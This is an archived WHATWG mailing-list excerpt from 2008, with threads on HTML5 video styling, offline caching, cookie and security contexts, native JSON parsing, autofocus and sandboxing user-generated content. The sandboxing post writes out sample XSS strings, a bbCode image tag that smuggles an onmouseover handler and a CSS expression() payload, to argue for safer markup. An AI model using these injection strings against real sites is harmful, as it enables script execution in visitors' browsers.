	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
Message-ID: <1213357348.6562.114.camel@localhost>

The issue with the poster attribute is resolved, but one comment made me
remember something I've wondered about:

On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:

> It's not impossible; first black would render 300x150, then the poster 

The spec says: Areas of the element's playback area that do not contain
the video represent nothing.

What does this mean? Black is customary for video, but leaving the
region transparent (thus falling back to css background color) is
another option. Which is better?

-- 
Philip J?genstedt
Opera Software



From annevk at opera.com  Fri Jun 13 04:49:08 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Fri, 13 Jun 2008 13:49:08 +0200
Subject: [whatwg] video background color
In-Reply-To: <1213357348.6562.114.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
Message-ID: <op.ucoq360t64w2qv@annevk-t60.oslo.opera.com>

On Fri, 13 Jun 2008 13:42:28 +0200, Philip J?genstedt <philipj at opera.com>  
wrote:
> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
>
>> It's not impossible; first black would render 300x150, then the poster
>
> The spec says: Areas of the element's playback area that do not contain
> the video represent nothing.
>
> What does this mean? Black is customary for video, but leaving the
> region transparent (thus falling back to css background color) is
> another option. Which is better?

Maybe a default style sheet entry like

   video { background-color:#000 }


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ian at hixie.ch  Fri Jun 13 14:02:21 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 21:02:21 +0000 (UTC)
Subject: [whatwg] video background color (Was: Interpretation of	video
 poster attribute)
In-Reply-To: <1213357348.6562.114.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
Message-ID: <Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>

On Fri, 13 Jun 2008, Philip J?genstedt wrote:
>
> The issue with the poster attribute is resolved, but one comment made me 
> remember something I've wondered about:
> 
> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
> 
> > It's not impossible; first black would render 300x150, then the poster
> 
> The spec says: Areas of the element's playback area that do not contain 
> the video represent nothing.
> 
> What does this mean? Black is customary for video, but leaving the 
> region transparent (thus falling back to css background color) is 
> another option. Which is better?

It's transparent, but I intended to have the following rule in the style 
sheet:

   video { background: black; }

...so that it looks black unless the author restyles it. Does that make 
sense?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From honzab at allpeers.com  Fri Jun 13 14:21:00 2008
From: honzab at allpeers.com (Honza Bambas)
Date: Fri, 13 Jun 2008 23:21:00 +0200
Subject: [whatwg] Opportunistic caching
In-Reply-To: <Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>
References: <484E600D.6010308@allpeers.com>
	<Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>
Message-ID: <4852E4BC.8020605@allpeers.com>

Ian Hickson wrote:
> On Tue, 10 Jun 2008, Honza Bambas wrote:
>   
>> Hi, I would like to ask for clarification of opportunistic caching spec 
>> in Offline Web Applications, the article 4.9.1.9. Adding a resource whom 
>> URI matches an opportunistic name space seems to be done only for top 
>> level documents according to the article 4.9.1.9, cite: "If the resource 
>> was not fetched from..." where the resource refers, as I understand, the 
>> top-level document being navigated.
>>
>> I didn't find any other place where a resource whom URI matched an 
>> opportunistic entry would be added to a cache as opportunistically 
>> cached. I would naturally expect it were part of the networking model, 
>> article 4.7.5.1 - "Changes to the networking model", but I couldn't find 
>> it, at least not explicitly, expressed.
>>
>> Maybe I am missing something in the networking model spec: in article 
>> 4.7.5.1.4 when URI matches a name space it have to be "fetched 
>> normally". Should implementers replace normal HTTP cache used for 
>> writing by offline cache to store the resource in it? Instead of normal 
>> HTTP cache?
>>     
>
> Resources can only be cached as opportunistically cached entries if a 
> browsing context is navigated, but it doesn't have to be a top-level 
> browsing context. The caching happens in the "Otherwise" clause of step 9 
> of the 4.9.1 Navigating across documents "navigation" algorithm.
>
> If by "top-level" you don't mean a window/tab, but mean any iframe or 
> frame content document, as opposed to an image, a stylesheet, or some 
> such, then you are correct. The use case was really just replacing pages, 
> e.g. Flickr pages, when the whole site isn't cached. Do you think this 
> should be changed to opportunistically cache anything accessed?
>
>   
Thanks a lot for clarification.

I was talking with my colleague about it and we both agree it would be 
useful (and more easy to implement) for ANY resource being fetched 
inside of browsing context associated with an application cache to 
opportunistically cache it and not just do it for results of navigation, 
i.e. top-level document, iframe source and frame source. A set o 
pictures/icons/css styles could be easily cached this way w/o explicitly 
listing them in the manifest.

At this point it would be good to say what really is 
intention/motivation of opportunistic caching itself. Maybe I am missing 
the purpose and potentially open a security hole or a kind of attack 
this way.

Honza Bambas
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080613/5bba3198/attachment.htm>

From dbaron at dbaron.org  Fri Jun 13 15:30:41 2008
From: dbaron at dbaron.org (L. David Baron)
Date: Fri, 13 Jun 2008 15:30:41 -0700
Subject: [whatwg] Use of 'direction' of canvas element
Message-ID: <20080613223041.GA24221@pickering.dbaron.org>

http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
has the following bullet point:
  # Form a hypothetical infinitely wide CSS line box containing a
  # single inline box containing the text text, with all the
  # properties at their initial values except the 'font' property of
  # the inline element set to font and the 'direction' property of
  # the inline element set to the 'direction' property of the canvas
  # element. [CSS]

This should describe what to do if the canvas element is not in a
document (and therefore has no 'direction').

It should probably fall back to 'ltr' as a last resort.

However, as an intermediate step, it might be worth falling back to
the direction property of the root element (if present) of the
canvas element's ownerDocument.

-David

-- 
L. David Baron                                 http://dbaron.org/
Mozilla Corporation                       http://www.mozilla.com/


From whatwg at adambarth.com  Fri Jun 13 23:31:11 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 13 Jun 2008 23:31:11 -0700
Subject: [whatwg] A document's cookie context
Message-ID: <7789133a0806132331m27d2257bj6d8e5e8c5edbb691@mail.gmail.com>

The current draft of the spec doesn't specify how to compute the
cookie context for a document.  Here is how to compute it:

A document's cookie context can be represented as a URI and largely
(but not exactly) follows the document's origin.

1) If the document does not have a browsing context (e.g., it was
retrieved via XMLHttpRequest or created using createDocument) then
it's cookie context is "" or about:blank (or whatever you prefer for
"I don't have a cookie context").

2) If the document was served over the network and has an address that
uses a URI scheme with a server-based naming authority, then the
document's cookie context is that URI.

3) If the document has the URI about:blank or "", then, like the
origin, the document's cooke context is the cookie context of the
parent browsing context (if it has a parent) or the cookie context of
the opener browsing context (if it has an opener but no parent).
Failing that, the document's cookie context is about:blank or "" (or
whatever you prefer for "I don't have a cookie context").

This is available in code form at <http://trac.webkit.org/changeset/34505>.

Adam


From whatwg at adambarth.com  Fri Jun 13 23:48:46 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 13 Jun 2008 23:48:46 -0700
Subject: [whatwg] document.open() and security context
Message-ID: <7789133a0806132348w1dd5cc27kbbb15bc8f9515830@mail.gmail.com>

The current description of document.open(), at
<http://www.whatwg.org/specs/web-apps/current-work/#open> doesn't
mention the method's effect on the document's security context.

The document.open() method replaces the document's security context
with the security context of the currently executing script.  In
particular, the following properties are replaced:

1) document.URL becomes the URL of the document of the currently
executing script.

2) document.baseURI becomes the URL of the document of the currently
executing script (not it's baseURI).

3) The document's origin and effective script origin become the origin
and the effective script origin of the currently executing script.
(Note: actually, the origins are aliased, as in the about:blank case,
so that changes to one of the document's document.domain property
affects the other.)

4) The document's cookie context becomes the cookie context of the
document of the currently executing script.

There may be other things that get clobbered as well, but those were
the ones I found.

This is available in code form, along with numerous tests, at
<http://trac.webkit.org/changeset/34506>.

Adam


From whatwg at adambarth.com  Sat Jun 14 01:08:07 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Sat, 14 Jun 2008 01:08:07 -0700
Subject: [whatwg] Native JSON parsing API
Message-ID: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>

On Tue, Feb 12, 2008 at 5:57 PM, Ian Hickson <ian at hixie.ch> wrote:
> Passing objects, or arrays of strings, arrays, or objects, is more
> complex, but as you point out, it can be done using JSON libraries. Since
> it is likely that JSON will be supported natively by UAs in due course, it
> seems better to wait for that support rather than adding type support to
> postMessage().

HTML 5 should expose a native JSON parser for web content.

Web content often wishes to translate strings into structured data.
For example, to send structured data via postMessage, content often
serializes the structured data into a string and expects the recipient
to deserialize the string.

For example, Facebook Chat is currently implemented using postMessage.
 Two frames from facebook.com communicate with each other by passing
JSON-serialized objects.  Upon receiving a message, a frame validates
the origin property of the message event and then calls eval() on the
received data to deserialize the message.  Some time ago, their
validation code had a bug and accepted any origin that ended in
"facebook.com" including "http://evilfacebook.com", leading to XSS.
Had the browser provided a native JSON parser as fast (or faster) than
eval(), this bug might not have been as critical.

JavaScript libraries, such as those available from <http://json.org/>,
exist for parsing JSON, but these libraries have limitations.
Libraries implemented without calling eval() are slow because
JavaScript string manipulation is not as fast as a native parser.
Libraries that eventually call eval() tend to validate their input via
regular expressions, but these implementations have had a history of
validation vulnerabilities.  A native JSON parser in browsers would
enjoy the security of a dedicated parser and the performance of a
native parser.

There appears to be some amount of vendor interest in implementing a
native JSON parser.  For example, Firefox 3 implements a native JSON
parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
privileged JavaScript.  The JSON format itself is already specified.
What remains to be specified is a standard location for the serialize
and deserialize methods.

Adam

(Apologies if this has already been raised on this list.  I looked
through the issue tracker but couldn't find it there.)


From mjs at apple.com  Sat Jun 14 01:43:00 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Sat, 14 Jun 2008 01:43:00 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
Message-ID: <6FC58018-0952-4D34-A115-48A13E327398@apple.com>


On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:

> On Tue, Feb 12, 2008 at 5:57 PM, Ian Hickson <ian at hixie.ch> wrote:
>> Passing objects, or arrays of strings, arrays, or objects, is more
>> complex, but as you point out, it can be done using JSON libraries.  
>> Since
>> it is likely that JSON will be supported natively by UAs in due  
>> course, it
>> seems better to wait for that support rather than adding type  
>> support to
>> postMessage().
>
> HTML 5 should expose a native JSON parser for web content.

Native JSON parsing is being considered for the next versions of  
ECMAScript (the 3.1 and 4 versions). It seems like a better fit there  
than in HTML5. If it ends up not being added to ECMAScript, I would  
propose it as a standalone spec for the W3C Web Apps WG.

  - Maciej



From whatwg at adambarth.com  Sat Jun 14 02:41:44 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Sat, 14 Jun 2008 02:41:44 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <6FC58018-0952-4D34-A115-48A13E327398@apple.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
Message-ID: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>

On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>> HTML 5 should expose a native JSON parser for web content.
>
> Native JSON parsing is being considered for the next versions of ECMAScript
> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
> it ends up not being added to ECMAScript, I would propose it as a standalone
> spec for the W3C Web Apps WG.

Is JSON serialization/deserialization still being considered there?
The most recent message I could find on es4-discuss is
<https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
which states that JSON serialization was removed (but might reappear).

I'm certainly not an expert at this process, but is a whole spec
needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
most of the details.  Maybe there tricky issues with non-tree object
structures?

Adam


From jonas at sicking.cc  Sat Jun 14 04:57:33 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Sat, 14 Jun 2008 04:57:33 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
	<7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
Message-ID: <4853B22D.7050401@sicking.cc>

Adam Barth wrote:
> On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
>> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>>> HTML 5 should expose a native JSON parser for web content.
>> Native JSON parsing is being considered for the next versions of ECMAScript
>> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
>> it ends up not being added to ECMAScript, I would propose it as a standalone
>> spec for the W3C Web Apps WG.
> 
> Is JSON serialization/deserialization still being considered there?
> The most recent message I could find on es4-discuss is
> <https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
> which states that JSON serialization was removed (but might reappear).
> 
> I'm certainly not an expert at this process, but is a whole spec
> needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
> most of the details.  Maybe there tricky issues with non-tree object
> structures?

We're likely going to add a JSON parser in the next firefox release 
(after 3).

The last I heard too was that JSON was out from ECMAScript, but I admit 
I'm not very actively following the development there.

/ Jonas


From douglas at crockford.com  Sat Jun 14 05:22:18 2008
From: douglas at crockford.com (Douglas Crockford)
Date: Sat, 14 Jun 2008 05:22:18 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>	
	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
	<7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
Message-ID: <4853B7FA.8090106@crockford.com>

Adam Barth wrote:
> On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
>> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>>> HTML 5 should expose a native JSON parser for web content.
>> Native JSON parsing is being considered for the next versions of ECMAScript
>> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
>> it ends up not being added to ECMAScript, I would propose it as a standalone
>> spec for the W3C Web Apps WG.
> 
> Is JSON serialization/deserialization still being considered there?
> The most recent message I could find on es4-discuss is
> <https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
> which states that JSON serialization was removed (but might reappear).
> 
> I'm certainly not an expert at this process, but is a whole spec
> needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
> most of the details.  Maybe there tricky issues with non-tree object
> structures?
> 
> Adam

RFC 4627 defines the data structure, but does not mention APIs or language bindings.

ES3.1 will include include json2.js's JSON.stringify and JSON.parse functions. 
It is my hope that ECMA will approve ES3.1 this year.

A motivated browser maker need not wait for ECMA's formal approval.


From foolistbar at googlemail.com  Sat Jun 14 16:05:19 2008
From: foolistbar at googlemail.com (Geoffrey Sneddon)
Date: Sun, 15 Jun 2008 00:05:19 +0100
Subject: [whatwg] Creating An Outline oddity
Message-ID: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>

Having implemented the creating an outline algorithm (see <http://pastebin.ca/1048202 
 >), I'm getting some odd results (the only TODO won't affect HTML  
4.01 documents such as the following issues).

Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current  
section" (this is the root sectioning element, body), it seems I  
correctly get the heading of it ("Foo"), but I only get one  
subsection: "Bar". As far as I can see, my implementation follows what  
the spec says, so it looks as if this is an issue with the spec.

With HTML 5, the current_outlinee at the end is a td element, when it  
should be the body element. That really is rather odd.


--
Geoffrey Sneddon
<http://gsnedders.com/>


From ian at hixie.ch  Sat Jun 14 20:06:54 2008
From: ian at hixie.ch (Ian Hickson)
Date: Sun, 15 Jun 2008 03:06:54 +0000 (UTC)
Subject: [whatwg] Creating An Outline oddity
In-Reply-To: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
References: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
Message-ID: <Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>

On Sun, 15 Jun 2008, Geoffrey Sneddon wrote:
>
> Having implemented the creating an outline algorithm (see 
> <http://pastebin.ca/1048202>), I'm getting some odd results (the only 
> TODO won't affect HTML 4.01 documents such as the following issues).
> 
> Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current 
> section" (this is the root sectioning element, body), it seems I 
> correctly get the heading of it ("Foo"), but I only get one subsection: 
> "Bar". As far as I can see, my implementation follows what the spec 
> says, so it looks as if this is an issue with the spec.
> 
> With HTML 5, the current_outlinee at the end is a td element, when it 
> should be the body element. That really is rather odd.

I don't understand the markup you mean. Could you draw the DOM or provide 
unambiguous markup for what you're describing? (I don't understand how 
"Foo" is a heading but "Bar" is a section in your markup.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From hsivonen at iki.fi  Sun Jun 15 23:12:12 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 16 Jun 2008 09:12:12 +0300
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
Message-ID: <3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>

On Jun 14, 2008, at 11:08, Adam Barth wrote:

> For example, Firefox 3 implements a native JSON
> parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
> privileged JavaScript.  The JSON format itself is already specified.


The de jure spec for JSON, RFC 4627, doesn't specify error handling on  
the level one would expect from a WHATWG spec. Instead, the RFC says:  
"A JSON parser MAY accept non-JSON forms or extensions."
http://www.ietf.org/rfc/rfc4627.txt

The JSON parsers I've used in non-browser contexts have been Draconian  
and incompatible with existing content such as output from  
del.icio.us, which can contain escaped single quotes, which isn't  
allowed in proper JSON.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From julian.reschke at gmx.de  Sun Jun 15 23:36:42 2008
From: julian.reschke at gmx.de (Julian Reschke)
Date: Mon, 16 Jun 2008 08:36:42 +0200
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
Message-ID: <485609FA.2010401@gmx.de>

Henri Sivonen wrote:
> On Jun 14, 2008, at 11:08, Adam Barth wrote:
> 
>> For example, Firefox 3 implements a native JSON
>> parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
>> privileged JavaScript.  The JSON format itself is already specified.
> 
> 
> The de jure spec for JSON, RFC 4627, doesn't specify error handling on 
> the level one would expect from a WHATWG spec. Instead, the RFC says: "A 
> JSON parser MAY accept non-JSON forms or extensions."
> http://www.ietf.org/rfc/rfc4627.txt
> 
> The JSON parsers I've used in non-browser contexts have been Draconian 
> and incompatible with existing content such as output from del.icio.us, 
> which can contain escaped single quotes, which isn't allowed in proper 
> JSON.

Did you send a bug report to del.icio.us?

BR, Julian



From hsivonen at iki.fi  Mon Jun 16 02:17:50 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 16 Jun 2008 12:17:50 +0300
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <485609FA.2010401@gmx.de>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
	<485609FA.2010401@gmx.de>
Message-ID: <87F7D372-26D8-4EA5-B035-44C7C2C9B9A2@iki.fi>

On Jun 16, 2008, at 09:36, Julian Reschke wrote:

>> The JSON parsers I've used in non-browser contexts have been  
>> Draconian and incompatible with existing content such as output  
>> from del.icio.us, which can contain escaped single quotes, which  
>> isn't allowed in proper JSON.
>
> Did you send a bug report to del.icio.us?


Yes, I did (in January 2007, IIRC).

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From adele at apple.com  Mon Jun 16 12:17:18 2008
From: adele at apple.com (Adele Peterson)
Date: Mon, 16 Jun 2008 12:17:18 -0700
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
Message-ID: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>

In HTML5, focus() and blur() are now defined on HTMLElement instead of  
being restricted to specific form elements.

In Web Forms 2.0, the autofocus attribute is defined for "any form  
control (except hidden and output controls)".  It seems like it would  
make more sense to allow autofocus to be on any HTMLElement, and have  
it follow the same focusable rules that focus() follows.

Thanks,
	Adele


From annevk at opera.com  Mon Jun 16 12:26:37 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 16 Jun 2008 21:26:37 +0200
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
In-Reply-To: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
References: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
Message-ID: <op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>

On Mon, 16 Jun 2008 21:17:18 +0200, Adele Peterson <adele at apple.com> wrote:
> In HTML5, focus() and blur() are now defined on HTMLElement instead of  
> being restricted to specific form elements.
>
> In Web Forms 2.0, the autofocus attribute is defined for "any form  
> control (except hidden and output controls)".  It seems like it would  
> make more sense to allow autofocus to be on any HTMLElement, and have it  
> follow the same focusable rules that focus() follows.

I thought about this a bit as well, but I'm not really sure what the use  
case would be. You typically see the effect happening for <input  
type=text>. Would this be used by contenteditable-enabled controls? Custom  
controls?

If we go down this route, I think we should add the disabled attribute as  
a global attribute as well. Internet Explorer already has it and it makes  
sense together with contenteditable and tabindex.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From adele at apple.com  Mon Jun 16 13:09:24 2008
From: adele at apple.com (Adele Peterson)
Date: Mon, 16 Jun 2008 13:09:24 -0700
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
In-Reply-To: <op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>
References: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
	<op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <13C69AFD-0B30-470B-AD88-D04204421433@apple.com>

I saw the need for this in our Web Inspector, which has a lot of  
custom controls (including some that use contenteditable elements).   
Some of these don't have a default focused appearance, but its nice  
that they can follow the focus pseudo-class CSS selector.

I agree that the disabled attribute would fit in well with this.   
Again, it would be nice for these custom controls to be able to use  
the disabled pseudo-class CSS selector.

- Adele

On Jun 16, 2008, at 12:26 PM, Anne van Kesteren wrote:

> On Mon, 16 Jun 2008 21:17:18 +0200, Adele Peterson <adele at apple.com>  
> wrote:
>> In HTML5, focus() and blur() are now defined on HTMLElement instead  
>> of being restricted to specific form elements.
>>
>> In Web Forms 2.0, the autofocus attribute is defined for "any form  
>> control (except hidden and output controls)".  It seems like it  
>> would make more sense to allow autofocus to be on any HTMLElement,  
>> and have it follow the same focusable rules that focus() follows.
>
> I thought about this a bit as well, but I'm not really sure what the  
> use case would be. You typically see the effect happening for <input  
> type=text>. Would this be used by contenteditable-enabled controls?  
> Custom controls?
>
> If we go down this route, I think we should add the disabled  
> attribute as a global attribute as well. Internet Explorer already  
> has it and it makes sense together with contenteditable and tabindex.
>
>
> -- 
> Anne van Kesteren
> <http://annevankesteren.nl/>
> <http://www.opera.com/>



From frode at seria.no  Mon Jun 16 21:06:31 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 06:06:31 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
Message-ID: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>

Hi! I am a new member of this mailing list, and I wish to contribute with a
couple of specific requirements that I believe should be discussed and
perhaps implemented in the final specification. I am unsure if this is the
correct place to post my ideas (or if my ideas are even new), but if it is
not, then I am sure somebody will instruct me. :) One person told me that
the specification was finished and no new features would be added from now
on - but hopefully that is not true.


The challenge:

More and more websites have features where users can contribute with user
generated content - often in the form of audio, video, images
or wiki-articles. An older type of content contribution is normal text such
as posts in a discussion forum, a mailing list such as this and comments on
blog articles.

A major challenge for many web developers is validating "untrusted" content
such as the message body of a blog comment. Unless the developer has a
flawless and future proof algorithm for ensuring that the message body does
not contain any script, web developers have to resort to text only - or
bbCode-style markup languages to allow users to post text content with
richer formatting. If the developer wants to enable rich formatting using
bbCode, it also needs fairly advanced methods of ensuring that no scripts
are executed. Consider this bbCode example:
[img]some_image.jpg'onmouseover=maliciousScript()[/img]. The bbCode parser
must ensure that there is absolutely no method of injecting scripts in user
posts - and that is very difficult when at the same time there exists
parsing errors in browsers. The example could easily be validating by not
allowing apostrophes or quotation marks in urls - but then we have multiple
entities that could be used: &apos; or &#39;. To make matters worse, some
browsers parse &#39 which is an incomplete html entity and all these
variations must be considered by the bbCode parser author.

Another problem which makes future proofing this type of security is that
standards evolve. A few years ago you could safely allow users to apply
css-styles to tags. Example bbCode tag [color=blue]Blue text[/color] would
be translated to <span style='color: blue'>Blue text</span>. In this example
an exploit could be [color=expression(maliciousCode())]Text[/color]. When
the algorithm was made, it was considered secure, since no script could ever
be executed inside a style attribute. With the invention of expressions and
behaviours etc the knowledge required by web developers are ever increasing,
and web developers have to review all old code whenever new technologies
emerge - because what once was secure suddenly is not secure anymore.


One solution:

<htmlarea>User generated content</htmlarea>


No scripts would ever be allowed to be executed inside this tag. Malicious
users could potentially submit "</htmlarea> unsafe content <htmlarea>" and
get around this. There are as I can see it two solutions to this:

User generated content inside the tag must be escaped using html entities
(but still rendered as html by the user agent), or the author must prevent
users from submitting the string "</htmlarea>" and all possible variations
of the tag.

If the first solution is used, then browsers should display a
strong security warning if unescaped content is seen between htmlarea-tags
on a website (to educated web developers).


A sidenote: The tag name I chose is based on the <textarea>-tags which
should also be entity escaped to prevent users from inserting the text
</textarea>.  This currently breaks a lot of web pages - so perhaps a strong
security warning is in place if unescaped content is found after the
textarea start tag also?


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/0a512bf9/attachment.htm>

From frode at seria.no  Mon Jun 16 21:09:55 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 06:09:55 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
Message-ID: <31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>

 Hi! I am a new member of this mailing list, and I wish to contribute with a
couple of specific requirements that I believe should be discussed and
perhaps implemented in the final specification. I am unsure if this is the
correct place to post my ideas (or if my ideas are even new), but if it is
not, then I am sure somebody will instruct me. :) One person told me that
the specification was finished and no new features would be added from now
on - but hopefully that is not true.


The challenge:

More and more websites have features where users can contribute with user
generated content - often in the form of audio, video, images
or wiki-articles. An older type of content contribution is normal text such
as posts in a discussion forum, a mailing list such as this and comments on
blog articles.

